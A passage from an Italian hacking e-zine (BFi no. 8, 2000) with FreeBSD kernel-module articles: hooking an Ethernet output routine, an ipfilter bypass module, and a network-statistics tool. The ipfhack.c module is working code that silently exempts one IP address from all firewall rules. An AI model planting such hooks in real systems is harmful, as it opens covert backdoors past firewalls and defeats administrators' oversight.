anche esserlo, basta che i puntatori interni alla struttura pr_usrreqs puntino a tali funzioni nello STESSO modulo in modo che nella inetsw[] o nelle altre tabelle dei protocolli di un qualsiasi altro dominio a cui queste funzioni appartengono, sia possibile accedervi conoscendo l'indirizzo. bau pIGpeN the haphazard deadhead ============================================================================== ---------------------------------[ EOF 8/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-09100755 0 0 26127 7102660046 10757 0ustar rootroot============================================================================== -------------[ BFi numero 8, anno 3 - 30/04/2000 - file 9 di 28 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ BSD KERNEL: AGiRE SULLE iNTERFACCE Di RETE -----[ pIGpEN MUSiCA: Cure - Paris Rolling Stones - Undercover Saluti: dize, felipe, Shade76, sikurezza.org, s0ftpj staff... TASTIERA: geotecnosciamanica In questo articolo vedremo come e' possibile modificare le funzioni di gestione di un'interfaccia di rete... lo faro' in modo sintetico e pratico arrivando subito al dunque... Cominciamo con il dire che le interfacce sono tutte linkate tra di loro attraverso una TAILQ (sys/queue.h per maggiori informazioni sulle strutture e le macro di linkaggio) [net/if_var.h] /* * Structure defining a network interface. * * (Would like to call this struct ``if'', but C isn't PL/1.) */ struct ifnet { void *if_softc; /* pointer to driver state */ char *if_name; /* name, e.g. ``en'' or ``lo'' */ TAILQ_ENTRY(ifnet) if_link; /* all struct ifnets are chained */ struct ifaddrhead if_addrhead; /* linked list of addresses per if */ int if_pcount; /* number of promiscuous listeners */ struct bpf_if *if_bpf; /* packet filter structure */ u_short if_index; /* numeric abbreviation for this if */ short if_unit; /* sub-unit for lower level driver */ short if_timer; /* time 'til if_watchdog called */ short if_flags; /* up/down, broadcast, etc. */ int if_ipending; /* interrupts pending */ void *if_linkmib; /* link-type-specific MIB data */ size_t if_linkmiblen; /* length of above data */ struct if_data if_data; struct ifmultihead if_multiaddrs; /* multicast addresses configured */ int if_amcount; /* number of all-multicast requests */ /* procedure handles */ int (*if_output) /* output routine (enqueue) */ __P((struct ifnet *, struct mbuf *, struct sockaddr *, struct rtentry *)); void (*if_start) /* initiate output routine */ __P((struct ifnet *)); int (*if_done) /* output complete routine */ __P((struct ifnet *)); /* (XXX not used; fake prototype) */ int (*if_ioctl) /* ioctl routine */ __P((struct ifnet *, u_long, caddr_t)); void (*if_watchdog) /* timer routine */ __P((struct ifnet *)); int (*if_poll_recv) /* polled receive routine */ __P((struct ifnet *, int *)); int (*if_poll_xmit) /* polled transmit routine */ __P((struct ifnet *, int *)); void (*if_poll_intren) /* polled interrupt reenable routine */ __P((struct ifnet *)); void (*if_poll_slowinput) /* input routine for slow devices */ __P((struct ifnet *, struct mbuf *)); void (*if_init) /* Init routine */ __P((void *)); int (*if_resolvemulti) /* validate/resolve multicast */ __P((struct ifnet *, struct sockaddr **, struct sockaddr *)); struct ifqueue if_snd; /* output queue */ struct ifqueue *if_poll_slowq; /* input queue for slow devices */ }; Questa struttura definisce un'interfaccia di rete... Come dicevo le ifnet sono linkate attraverso una TAILQ ed e' possibile cercare una di esse partendo da una ifnethead (ifnet) fino a quando si trova la struttura voluta o si termina la TAIL... In pratica: abbiamo la ifnethead definita cosi': TAILQ_HEAD(ifnethead, ifnet); che corrisponde a: struct ifnethead { struct ifnet *tqh_first; struct ifnet **tqh_last; }; La testa e' poi definita cosi': struct ifnethead ifnet; una ricerca senza utilizzare le macro di una particolare interfaccia (es. ed0) sara' uguale alla seguente: struct ifnet *ifp; for(ifp = ifnet.tqh_first; ifp; ifp = ifp->if_link.tqe_next) { if(!strcmp(ifp->if_name,"ed") && if_unit == 0) /* trovata */ blabla.. } in cui: - if_name e' il nome dell'interfaccia (ed nel nostro caso) - if_unit e' il suo numero (0 nel nostro caso) Con macro invece: struct ifnet *ifp; TAILQ_FOREACH(ifp, &ifnet, if_link) { if(!strcmp(ifp->if_name,"ed") && if_unit == 0) /* trovata */ blabla.. } Un'altra cosa importante che vi devo dire e' che quando si maneggia le interfacce la funzione di blocco non e' piu' la splnet() , ma la splimp() . Detto questo e' chiaro che noi vogliamo agire sulle procedure handles... Ecco un esempio di sostituzione della ether_output... <-| eth_out_ex.c |-> /* * This kld gives you an example of how you can modify * the output function of an Ethernet Interface.... * * * Note: Don't use it for loopback, ppp or other no eth interfaces ! * * pigpen [pigpen@s0ftpj.org, deadhead@sikurezza.org] * * SoftProject NoProfit * Italian Security Organization * www.s0ftpj.org * * Sikurezza.org * Italian Security MailingList * www.sikurezza.org * */ /* * pay attention... this kld can change in future... * * uname -a * * FreeBSD storpio.cameretta.pig 4.0-19990705-CURRENT FreeBSD 4.0-19990705- * CURRENT #4 ..... i386 * * If you wanna a porting of this code and you have no time to do that * write me at: deadhead@sikurezza.org with subject "PORTING A KLD" * */ #define INTERFACE "ed" #define INTERFACE_NUM 0 #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define IFP2AC(IFP) ((struct arpcom *) IFP) #define senderr(e) do { error = (e); goto bad;} while (0) int my_eth_output __P((register struct ifnet *, struct mbuf *, struct sockaddr *, struct rtentry *)); static int module_handler __P((struct module *, int, void *)); /* * Ethernet output routine. * Encapsulate a packet of type family for the local net. * Use trailer local net encapsulation if enough data in first * packet leaves a multiple of 512 bytes of data in remainder. * Assumes that ifp is actually pointer to arpcom structure. */ int my_eth_output(ifp, m0, dst, rt0) register struct ifnet *ifp; struct mbuf *m0; struct sockaddr *dst; struct rtentry *rt0; { short type; int s, error = 0; u_char edst[6]; register struct mbuf *m = m0; register struct rtentry *rt; register struct ether_header *eh; int off, len = m->m_pkthdr.len, loop_copy = 0; int hlen; /* link layer header lenght */ struct arpcom *ac = IFP2AC(ifp); if ((ifp->if_flags & (IFF_UP|IFF_RUNNING)) != (IFF_UP|IFF_RUNNING)) senderr(ENETDOWN); rt = rt0; if (rt) { if ((rt->rt_flags & RTF_UP) == 0) { rt0 = rt = rtalloc1(dst, 1, 0UL); if (rt0) rt->rt_refcnt--; else senderr(EHOSTUNREACH); } if (rt->rt_flags & RTF_GATEWAY) { if (rt->rt_gwroute == 0) goto lookup; if (((rt = rt->rt_gwroute)->rt_flags & RTF_UP) == 0) { rtfree(rt); rt = rt0; lookup: rt->rt_gwroute = rtalloc1(rt->rt_gateway, 1, 0UL); if ((rt = rt->rt_gwroute) == 0) senderr(EHOSTUNREACH); } } if (rt->rt_flags & RTF_REJECT) if (rt->rt_rmx.rmx_expire == 0 || time_second < rt->rt_rmx.rmx_expire) senderr(rt == rt0 ? EHOSTDOWN : EHOSTUNREACH); } hlen = ETHER_HDR_LEN; switch (dst->sa_family) { case AF_INET: if (!arpresolve(ac, rt, m, dst, edst, rt0)) return (0); /* if not yet resolved */ off = m->m_pkthdr.len - m->m_len; type = htons(ETHERTYPE_IP); break; case AF_UNSPEC: loop_copy = -1; /* if this is for us, don't do it */ eh = (struct ether_header *)dst->sa_data; (void)memcpy(edst, eh->ether_dhost, sizeof (edst)); type = eh->ether_type; break; default: printf("%s%d: can't handle af%d\n", ifp->if_name, ifp->if_unit, dst->sa_family); senderr(EAFNOSUPPORT); } /* * Add local net header. If no space in first mbuf, * allocate another. */ M_PREPEND(m, sizeof (struct ether_header), M_DONTWAIT); if (m == 0) senderr(ENOBUFS); eh = mtod(m, struct ether_header *); (void)memcpy(&eh->ether_type, &type, sizeof(eh->ether_type)); (void)memcpy(eh->ether_dhost, edst, sizeof (edst)); (void)memcpy(eh->ether_shost, ac->ac_enaddr, sizeof(eh->ether_shost)); /* * If a simplex interface, and the packet is being sent to our * Ethernet address or a broadcast address, loopback a copy. * XXX To make a simplex device behave exactly like a duplex * device, we should copy in the case of sending to our own * ethernet address (thus letting the original actually appear * on the wire). However, we don't do that here for security * reasons and compatibility with the original behavior. */ if ((ifp->if_flags & IFF_SIMPLEX) && (loop_copy != -1)) { if ((m->m_flags & M_BCAST) || (loop_copy > 0)) { struct mbuf *n = m_copy(m, 0, (int)M_COPYALL); (void) if_simloop(ifp, n, dst, hlen); } else if (bcmp(eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN) == 0) { (void) if_simloop(ifp, m, dst, hlen); return (0); /* XXX */ } } /*#ifdef BRIDGE if (do_bridge) { struct mbuf *m0 = m ; if (m->m_pkthdr.rcvif) m->m_pkthdr.rcvif = NULL ; ifp = bridge_dst_lookup(m); bdg_forward(&m0, ifp); if (m0) m_freem(m0); return (0); } #endif*/ s = splimp(); /* * Queue message on interface, and start output if interface * not yet active. */ if (IF_QFULL(&ifp->if_snd)) { IF_DROP(&ifp->if_snd); splx(s); senderr(ENOBUFS); } IF_ENQUEUE(&ifp->if_snd, m); if ((ifp->if_flags & IFF_OACTIVE) == 0) (*ifp->if_start)(ifp); splx(s); ifp->if_obytes += len + sizeof (struct ether_header); if (m->m_flags & M_MCAST) ifp->if_omcasts++; return (error); bad: if (m) m_freem(m); return (error); } static int module_handler(struct module *module, int cmd, void *arg) { int s; struct ifnet *ifp; switch(cmd) { case MOD_LOAD: s = splimp(); for(ifp = ifnet.tqh_first; ifp; ifp = ifp->if_link.tqe_next) { /* pig: sys/queue.h-> TAILQ_FOREACH(ifp, &ifnet, if_link) */ printf("%s%d -> ", ifp->if_name, ifp->if_unit); if(!strcmp(ifp->if_name,INTERFACE) && ifp->if_unit == INTERFACE_NUM) { ifp->if_output = my_eth_output; printf("MODIFIED"); } else printf("no"); printf("\n"); } splx(s); break; case MOD_UNLOAD: s = splimp(); for(ifp = ifnet.tqh_first; ifp; ifp = ifp->if_link.tqe_next) { if( !strcmp(ifp->if_name,INTERFACE) && ifp->if_unit == INTERFACE_NUM) { ifp->if_output = ether_output; printf("%s%d output funct: Updated\n",ifp->if_name, ifp->if_unit); } } splx(s); break; } return 0; } static moduledata_t mymod = { "eth_out", module_handler, 0 }; DECLARE_MODULE(eth_out, mymod, SI_SUB_PSEUDO, SI_ORDER_ANY); <-X-> Una semplice log() o printf() all'interno della funzione my_eth_output() mette in evidenza il fatto che viene eseguita la nostra funzione, detto questo sta a voi farvi venire le idee su come sfruttare quanto descritto... bye pIGpEN ============================================================================== ---------------------------------[ EOF 9/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-10100755 0 0 11701 7102660046 10737 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 10 di 28 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ HACKiNG iPFiLTER ViA LKM -----[ pIGpEN Music: Nirvana - Unplugged in New York Recorded by MTV Consumo: 1 Red Bull, 2 Bicchieri di The' Elisir Rocchetta con estratto naturale di Ginseng (la combinazione mi rende degno successore di questo nick) Tastiera: Geotecnosciamanica (quella con la lava e le costellazioni per intenderci) Ipfilter e' filtrabile come avevo fatto per ipfw...? Certo... anche se modificare la funzione che checka i pacchetti e' piuttosto lungo... Qui vi presento un semplicissimo sorgente che filtra ipfilter su FreeBSD, magari qualcun altro fa il porting per altri OS... Tenete conto che questo mio sorgente non e' proprio come quello di ipfw, in pratica c'e' sempre una funzione di check che si sostituisce a quella del supporto, solo che in realta' NON rimpiazza quella vecchia semplicemente controlla l'ip e se questo corrisponde a GO_JOHNNY_GO non chiama la vera funzione di check... dell'ipfilter. Quindi non fa nessun controllo sulle regole del firewall, questo vuol dire che per esempio l'opzione di FAST_ROUTE non viene processata anche se benigna... Il modulo kernel per ipfw invece processava per es. il DIVERT e il FORWARD... Se vi presento questo codice e' solo per correttezza nei confronti del signor ipfw e non per farvelo usare... Non mi sarebbe costato molto presentarvelo in maniera piu' cool... ma voglio risparmiarmi del tempo per fare altro :P <-| ipfhack.c |-> /* * Filtering... IP FILTER * * After my kld for ipfw ... this is for ipfilter... it shows you * shortest way to do accept a pkt.... * * Warning: this kld doesn't process pkts from GO_JOHNNY_GO ip, also * options like FAST_ROUTE.... This is only an example ... * Use it only to understand ipfilter.... * * * pigpen [pigpen@s0ftpj.org, deadhead@sikurezza.org] * * SoftProject NoProfit * Italian Security Organization * www.s0ftpj.org * * Sikurezza.org * Italian Security MailingList * www.sikurezza.org * */ /* * pay attention... this kld can change in future... * * uname -a * * FreeBSD storpio.cameretta.pig 4.0-19990705-CURRENT FreeBSD 4.0-19990705- * CURRENT #4 ..... i386 * * If you wanna a porting of this code and you have no time to do that * write me at: deadhead@sikurezza.org with subject "PORTING A KLD" * */ #define GO_JOHNNY_GO "192.168.1.2" /* Packets sent by this ip wouldn't process */ #include #include #include #include #include #include #include #include #include #include #include #include #include /* IPFILTER FreeBSD Options */ typedef struct ip ip_t; typedef struct mbuf mb_t; /* A simple typedef for filter check prototypes */ typedef int ipfr_t __P((ip_t *, int, void *, int, mb_t **)); /* Prototypes */ static int s_load __P((struct module *, int, void *)); static u_int32_t inaton __P((const char *)); extern ipfr_t fr_check, *fr_checkp; static ipfr_t *fr; static ipfr_t myfr; /* module handler */ static int s_load (struct module *module, int cmd, void *arg) { int s; switch(cmd) { case MOD_LOAD: s = splnet(); fr = fr_check; /* I use a funct ptr... */ fr_checkp = myfr; splx(s); break; case MOD_UNLOAD: s = splnet(); fr_checkp = fr_check; splx(s); break; } return 0; } /* module struct */ static moduledata_t s_mod_1 = { "ipfil_mod", s_load, 0 }; DECLARE_MODULE(ipfil_mod, s_mod_1, SI_SUB_PSEUDO, SI_ORDER_ANY); /* hmmm ok ... this is short... maybe unstable... and every TYPE of action for "GO_JOHNNY_GO" ip wouldn't consider .... also FAST_ROUTE and other options.... this is a complete filter... you can do it better .... Sorry... I don't want to give you sources for illegal purposes ... */ static int myfr(ip_t *ip, int hlen, void *ifp, int out, mb_t **mp) { if(ip->ip_src.s_addr != inaton(GO_JOHNNY_GO)) fr(ip, hlen, ifp, out, mp); return 0; } u_int32_t inaton(const char *str) { unsigned long l; unsigned int val; int i; l = 0; for(i=0; i < 4; i++) { l <<= 8; if(*str != '\0') { val = 0; while(*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if(*str != '\0') str++; } } return(htonl(l)); } <-X-> E' tutto... cai pIGpEN ============================================================================== --------------------------------[ EOF 10/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-11100755 0 0 150275 7102660046 10772 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 11 di 28 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ OpenBSD e FreeBSD: UTiLiZZARE LE STRUTTURE Di STATiSTiCA DEL KERNEL -----[ pIGpEN "Negli anni 60 noi abbiamo fatto la grande scoperta che la tecnologia della chimica organica puo' aiutare a cambiare la tua mente. E noi ora stiamo scoprendo che elettroni e schermi possono produrre piu' cambiamenti delle polveri e delle sostanze da fumare. " Timothy Leary - ultima intervista Canzoni Ascoltate: U.S. Blues - Grateful Dead Blues for Allah - Grateful Dead Franklin's Tower - Grateful Dead Killing an Arab - The Cure Close to Me - The Cure Boys Don't Cry - The Cure Ringraziamenti: b0z0 -> per OpenBSD e per la sua disponibilita' Kobaiashi -> per essere molto paziente =) COPYRIGHT: Il seguente articolo e' coperto dal COFFEE-WARE dove indicato... per il resto si applica quanto affermato nel DISCLAIMER della rivista di BFi. In questo articolo parlero' di alcune strutture presenti nei kernel che possono essere piuttosto interessanti al fine di analizzare il traffico dal proprio sistema... In poche parole non e' raro trovare che le funzioni di gestione di un protocollo tengono aggiornate delle strutture statistiche contenenti il numero di pacchetti passati, quelli con lunghezza anomala ecc... Per farvi un esempio guardiamo su FreeBSD come si presenta la struttura per il protocollo ip: struct ipstat { u_long ips_total; /* total packets received */ u_long ips_badsum; /* checksum bad */ u_long ips_tooshort; /* packet too short */ u_long ips_toosmall; /* not enough data */ u_long ips_badhlen; /* ip header length < data size */ u_long ips_badlen; /* ip length < ip header length */ u_long ips_fragments; /* fragments received */ u_long ips_fragdropped; /* frags dropped (dups, out of space) */ u_long ips_fragtimeout; /* fragments timed out */ u_long ips_forward; /* packets forwarded */ u_long ips_fastforward; /* packets fast forwarded */ u_long ips_cantforward; /* packets rcvd for unreachable dest */ u_long ips_redirectsent; /* packets forwarded on same net */ u_long ips_noproto; /* unknown or unsupported protocol */ u_long ips_delivered; /* datagrams delivered to upper level*/ u_long ips_localout; /* total ip packets generated here */ u_long ips_odropped; /* lost packets due to nobufs, etc. */ u_long ips_reassembled; /* total packets reassembled ok */ u_long ips_fragmented; /* datagrams successfully fragmented */ u_long ips_ofragments; /* output fragments created */ u_long ips_cantfrag; /* don't fragment flag was set, etc. */ u_long ips_badoptions; /* error in option processing */ u_long ips_noroute; /* packets discarded due to no route */ u_long ips_badvers; /* ip version != 4 */ u_long ips_rawout; /* total raw ip packets generated */ u_long ips_toolong; /* ip length > max ip packet size */ u_long ips_notmember; /* multicasts for unregistered grps */ }; Tale struttura accessibile via sysctl() mette in evidenza il numero di pacchetti ricevuti, quelli troppo lunghi, quelli con opzioni non valide, quelli con un bad checksum ecc... Se da una parte questo e' una struttura utile per gli sviluppatori, perche' non lo puo' essere pure per gli admin? Non dovrebbe risultare difficile scrivere un programma che tira fuori dal kernel tali strutture... ( se poi volete c'e' gia' qualcosa di confezionato con systat e netstat -s che pero' non mettono in evidenza tutte le informazioni) Qui di seguito vi propongo knstat... [ Introduzione ] A volte puo' capitare di voler analizzare da un punto di vista statistico il numero di pacchetti che passano per la propria box o quelli che escono, quelli mal riusciti e quelli strani... Kerninetstat e' un tool realizzato sotto FreeBSD che tira fuori i dati dalle strutture *stat del kernel, tramite sysctl... [ Scopo ] Questo sorgente simile a systat, ma piu' completo sulla parte relativa al networking, puo' essere utilizzato come strumento per la sicurezza invocando il programma in questo modo (per es. con cron giornaliero): ./knstat -udp >> udp_stat.log Oppure potete utilizzarlo come comando utile per testare le routine del kernel... in questo caso ad esempio: ./knstat -ip IP Statistics received [ 1361 ] bad checksum [ 0 ] pkts too short [ 2 ] no enough data [ 0 ] iph len < data [ 0 ] ip len < iph len [ 0 ] fragments [ 0 ] frags dropped [ 0 ] frags timeout [ 0 ] forwarded [ 0 ] fast forward [ 0 ] cant forward [ 0 ] redirect sent [ 0 ] proto unknown [ 0 ] iplen > maxpksz [ 0 ] ip version != 4 [ 0 ] total raw gen [ 5 ] mcast not memb [ 0 ] [ Protocolli supportati e Utilizzo ] storpio# ./knstat Usage: ./knstat -option Option: -ip -icmp -igmp -tcp -udp [ Utilizzo con TCP ] # knstat -tcp TCP Statistics Connection: initiated: [ 3 ] accepted: [ 2 ] estabilished [ 5 ] dropped [ 0 ] embryonic dropped [ 0 ] keepalive dropped [ 0 ] closed [ 5 ] Timers: segs timed [ 175 ] rtt updated [ 175 ] delayed acks sent [ 88 ] dropped in rxmt timeouts [ 0 ] retrasmit timeouts [ 0 ] persist timeouts [ 0 ] keepalive timeouts [ 0 ] keepalive probes sent [ 0 ] Packets sent [ 273 ] data pkt [ 168 ] data bytes [ 3742 ] data pkt retrasmitted [ 0 ] data bytes retrasmitted [ 0 ] ack only pkts [ 98 ] urg only pkts [ 0 ] win update only pkt [ 0 ] syn|fin|rst pkt [ 7 ] window probes [ 0 ] received [ 264 ] pkt in sequence [ 176 ] byte in sequence [ 4406 ] pkt with checksum errors [ 0 ] pkt with bad offset [ 0 ] pkt received too short [ 0 ] duplicate only pkts [ 0 ] duplicate only bytes [ 0 ] partial duplicate data [ 0 ] partial duplicate bytes [ 0 ] out of order pkts [ 3 ] out of order bytes [ 0 ] pkts with data after win [ 0 ] bytes received after win [ 0 ] pkts rcvd after close [ 0 ] pkts rcvd win probe [ 0 ] duplicate acks [ 3 ] acks for unsent data [ 0 ] acks packets [ 175 ] bytes acked by rcvd acks [ 1 ] seg dropped due to PAWS [ 0 ] bogus syn [ 0 ] resnd due to MTU discov. [ 0 ] listen queue overflow [ 0 ] [ Utilizzo con UDP ] # knstat -udp UDP Statistics Total input packets: 1328 Packet shorter than header: 0 Checksum error: 0 Data len larger than pkt: 0 No socket on port: 3 Arrived as broadcast: 0 Not delivered: 0 Missing pcb cache: 0 Not for hashed pcb: 0 Total ouput packets: 1247 Fast path: 0 [ Utilizzo con ICMP ] # knstat -icmp ICMP Statistics Number of calls to icmp_error [ 3 ] icmp_code out of range [ 0 ] pkts < ICMP_MINLEN [ 0 ] bad checksum [ 0 ] bad length [ 0 ] number of responses [ 6 ] m/bcast echo requests dropped [ 0 ] [ Utilizzo con IGMP ] # knstat -igmp IGMP Statistics messages received [ 0 ] rcvd with too few bytes [ 0 ] rcvd with bad checksum [ 0 ] rcvd membership queries [ 0 ] rcvd invalid queries [ 0 ] rcvd membership reports [ 0 ] rcvd invalid reports [ 0 ] rcvd rep. for our grps [ 0 ] sent membership reports [ 3 ] [ il codice ] <-| knstat_freebsd.c |-> /* * Name: kerninetstat * Date: Sun Feb 13 13:16:33 2000 * Author: pIGpEN [pigpen@s0ftpj.org, deadhead@sikurezza.org] * * SoftProject Digital Security for Y2K (www.s0ftpj.org) * Sikurezza.org Italian Security MailingList (www.sikurezza.org) * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 4.0-19990705-CURRENT FreeBSD 4.0-19990705-CURRENT #6 i386 * * This simple source code uses sysctlbyname() to fetch statistics of a protocol * you can use them for security purposes or for kernel testing... see also * sources of systat or netstat -s... * * Note: some variables of stat structures can be not present in other kernel * versions */ /* * knstat is intended to be used as cron job example: * * knstat -icmp >> icmp_stat.log * * if you wanna use this tool like a command define WAIT * * #define WAIT * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define Error(s) err(EX_UNAVAILABLE, s); #define E(s) if(!strcmp(s, arg[1])) void usage __P((char *)); void ip_stat __P((void)); void udp_stat __P((void)); void tcp_stat __P((void)); void icmp_stat __P((void)); void igmp_stat __P((void)); struct prot { char *name; void (*funct) (void); }; struct prot protos[] = { { "-ip" , ip_stat }, { "-udp" , udp_stat }, { "-tcp" , tcp_stat }, { "-icmp", icmp_stat }, { "-igmp", igmp_stat }, }; int main(int narg, char **arg) { int i; int len = sizeof(protos) / sizeof(struct prot); if(narg != 2){ usage(arg[0]); exit(0); } /* Think different */ for(i=0; i < len; i++) E(protos[i].name) { (*protos[i].funct) (); return 1; } usage(arg[0]); return 0; } void usage(char *cmdname) { printf("Usage:\n" "\t%s -option\n\n" "Option: -ip\n" " -icmp\n" " -igmp\n" " -tcp\n" " -udp\n", cmdname); } /* * You can cover printf() with a macro... but I'm fucking about... so * I have time to spend... */ void ip_stat(void) { struct ipstat i_stat; int len = sizeof(i_stat); if(sysctlbyname("net.inet.ip.stats", &i_stat, &len, 0, 0) < 0 ) Error("[ip_stat] sysctlbyname"); printf("IP Statistics\n\n"); printf("\t\treceived [ %ld ]\n", i_stat.ips_total); printf("\t\tbad checksum [ %ld ]\n", i_stat.ips_badsum); printf("\t\tpkts too short [ %ld ]\n", i_stat.ips_tooshort); printf("\t\tno enough data [ %ld ]\n", i_stat.ips_toosmall); printf("\t\tiph len < data [ %ld ]\n", i_stat.ips_badhlen); printf("\t\tip len < iph len [ %ld ]\n", i_stat.ips_badlen); printf("\t\tfragments [ %ld ]\n", i_stat.ips_fragments); printf("\t\tfrags dropped [ %ld ]\n", i_stat.ips_fragdropped); printf("\t\tfrags timeout [ %ld ]\n", i_stat.ips_fragtimeout); printf("\t\tforwarded [ %ld ]\n", i_stat.ips_forward); printf("\t\tfast forward [ %ld ]\n", i_stat.ips_fastforward); printf("\t\tcant forward [ %ld ]\n", i_stat.ips_cantforward); printf("\t\tredirect sent [ %ld ]\n", i_stat.ips_redirectsent); printf("\t\tproto unknown [ %ld ]\n", i_stat.ips_noproto); printf("\t\tiplen > maxpksz [ %ld ]\n", i_stat.ips_toolong); printf("\t\tip version != 4 [ %ld ]\n", i_stat.ips_badvers); printf("\t\ttotal raw gen [ %ld ]\n", i_stat.ips_rawout); printf("\t\tmcast not memb [ %ld ]\n", i_stat.ips_notmember); } void udp_stat(void) { struct udpstat u_stat; int len = sizeof(u_stat); if(sysctlbyname("net.inet.udp.stats", &u_stat, &len, 0, 0) < 0) Error("[udp_stat] sysctlbyname"); printf("UDP Statistics\n\n"); printf("Total input packets: %ld\n", u_stat.udps_ipackets); printf("\t\t\t\tPacket shorter than header: %ld\n", u_stat.udps_hdrops); printf("\t\t\t\tChecksum error: %ld\n", u_stat.udps_badsum); printf("\t\t\t\tData len larger than pkt: %ld\n", u_stat.udps_badlen); printf("\t\t\t\tNo socket on port: %ld\n", u_stat.udps_noport); printf("\t\t\t\tArrived as broadcast: %ld\n", u_stat.udps_noportbcast); printf("\t\t\t\tNot delivered: %ld\n", u_stat.udps_fullsock); printf("\t\t\t\tMissing pcb cache: %ld\n", u_stat.udpps_pcbcachemiss); printf("\t\t\t\tNot for hashed pcb: %ld\n\n",u_stat.udpps_pcbhashmiss); printf("Total ouput packets: %ld\n", u_stat.udps_opackets); printf("\t\t\t\tFast path: %ld\n", u_stat.udps_fastout); } void tcp_stat(void) { struct tcpstat t_stat; int len = sizeof(t_stat); if(sysctlbyname("net.inet.tcp.stats", &t_stat, &len, 0, 0) < 0) Error("[tcp_stat] sysctlbyname"); printf("TCP Statistics\n\n"); printf("Connection:\n"); printf("\t\tinitiated: [ %ld ]\n", t_stat.tcps_connattempt); printf("\t\taccepted: [ %ld ]\n", t_stat.tcps_accepts); printf("\t\testabilished [ %ld ]\n", t_stat.tcps_connects); printf("\t\tdropped [ %ld ]\n", t_stat.tcps_drops); printf("\t\tembryonic dropped [ %ld ]\n", t_stat.tcps_conndrops); printf("\t\tkeepalive dropped [ %ld ]\n", t_stat.tcps_keepdrops); printf("\t\tclosed [ %ld ]\n", t_stat.tcps_closed); printf("\nTimers:\n"); printf("\t\tsegs timed [ %ld ]\n", t_stat.tcps_segstimed); printf("\t\trtt updated [ %ld ]\n", t_stat.tcps_rttupdated); printf("\t\tdelayed acks sent [ %ld ]\n", t_stat.tcps_delack); printf("\t\tdropped in rxmt timeouts [ %ld ]\n", t_stat.tcps_timeoutdrop); printf("\t\tretrasmit timeouts [ %ld ]\n", t_stat.tcps_rexmttimeo); printf("\t\tpersist timeouts [ %ld ]\n", t_stat.tcps_persisttimeo); printf("\t\tkeepalive timeouts [ %ld ]\n", t_stat.tcps_keeptimeo); printf("\t\tkeepalive probes sent [ %ld ]\n", t_stat.tcps_keepprobe); #ifdef WAIT getchar(); #endif printf("\nPackets\n"); printf("\t\tsent [ %ld ]\n", t_stat.tcps_sndtotal); printf("\t\tdata pkt [ %ld ]\n", t_stat.tcps_sndpack); printf("\t\tdata bytes [ %ld ]\n", t_stat.tcps_sndbyte); printf("\t\tdata pkt retrasmitted [ %ld ]\n", t_stat.tcps_sndrexmitpack); printf("\t\tdata bytes retrasmitted [ %ld ]\n", t_stat.tcps_sndrexmitbyte); printf("\t\tack only pkts [ %ld ]\n", t_stat.tcps_sndacks); printf("\t\turg only pkts [ %ld ]\n", t_stat.tcps_sndurg); printf("\t\twin update only pkt [ %ld ]\n", t_stat.tcps_sndwinup); printf("\t\tsyn|fin|rst pkt [ %ld ]\n", t_stat.tcps_sndctrl); printf("\t\twindow probes [ %ld ]\n", t_stat.tcps_sndprobe); printf("\n\n"); #ifdef WAIT getchar(); #endif printf("\t\treceived [ %ld ]\n", t_stat.tcps_rcvtotal); printf("\t\tpkt in sequence [ %ld ]\n", t_stat.tcps_rcvpack); printf("\t\tbyte in sequence [ %ld ]\n", t_stat.tcps_rcvbyte); printf("\t\tpkt with checksum errors [ %ld ]\n", t_stat.tcps_rcvbadsum); printf("\t\tpkt with bad offset [ %ld ]\n", t_stat.tcps_rcvbadoff); printf("\t\tpkt received too short [ %ld ]\n", t_stat.tcps_rcvshort); printf("\t\tduplicate only pkts [ %ld ]\n", t_stat.tcps_rcvduppack); printf("\t\tduplicate only bytes [ %ld ]\n", t_stat.tcps_rcvdupbyte); printf("\t\tpartial duplicate data [ %ld ]\n", t_stat.tcps_rcvpartduppack); printf("\t\tpartial duplicate bytes [ %ld ]\n", t_stat.tcps_rcvpartdupbyte); printf("\t\tout of order pkts [ %ld ]\n", t_stat.tcps_rcvoopack); printf("\t\tout of order bytes [ %ld ]\n", t_stat.tcps_rcvoobyte); printf("\t\tpkts with data after win [ %ld ]\n", t_stat.tcps_rcvpackafterwin); printf("\t\tbytes received after win [ %ld ]\n", t_stat.tcps_rcvbyteafterwin); printf("\t\tpkts rcvd after close [ %ld ]\n", t_stat.tcps_rcvafterclose); printf("\t\tpkts rcvd win probe [ %ld ]\n", t_stat.tcps_rcvwinprobe); printf("\t\tduplicate acks [ %ld ]\n", t_stat.tcps_rcvdupack); printf("\t\tacks for unsent data [ %ld ]\n", t_stat.tcps_rcvacktoomuch); printf("\t\tacks packets [ %ld ]\n", t_stat.tcps_rcvackpack); printf("\t\tbytes acked by rcvd acks [ %ld ]\n", t_stat.tcps_rcvwinupd); printf("\t\tseg dropped due to PAWS [ %ld ]\n", t_stat.tcps_pawsdrop); printf("\t\tbogus syn [ %ld ]\n", t_stat.tcps_badsyn); printf("\t\tresnd due to MTU discov. [ %ld ]\n", t_stat.tcps_mturesent); printf("\t\tlisten queue overflow [ %ld ]\n", t_stat.tcps_listendrop); } void icmp_stat(void) { struct icmpstat i_stat; int len = sizeof i_stat; if(sysctlbyname("net.inet.icmp.stats", &i_stat, &len, 0, 0) < 0) Error("[icmp_stat] sysctlbyname"); printf("ICMP Statistics\n\n"); printf("\t\tNumber of calls to icmp_error [ %ld ]\n", i_stat.icps_error); printf("\t\ticmp_code out of range [ %ld ]\n", i_stat.icps_badcode); printf("\t\tpkts < ICMP_MINLEN [ %ld ]\n", i_stat.icps_tooshort); printf("\t\tbad checksum [ %ld ]\n", i_stat.icps_checksum); printf("\t\tbad length [ %ld ]\n", i_stat.icps_badlen); printf("\t\tnumber of 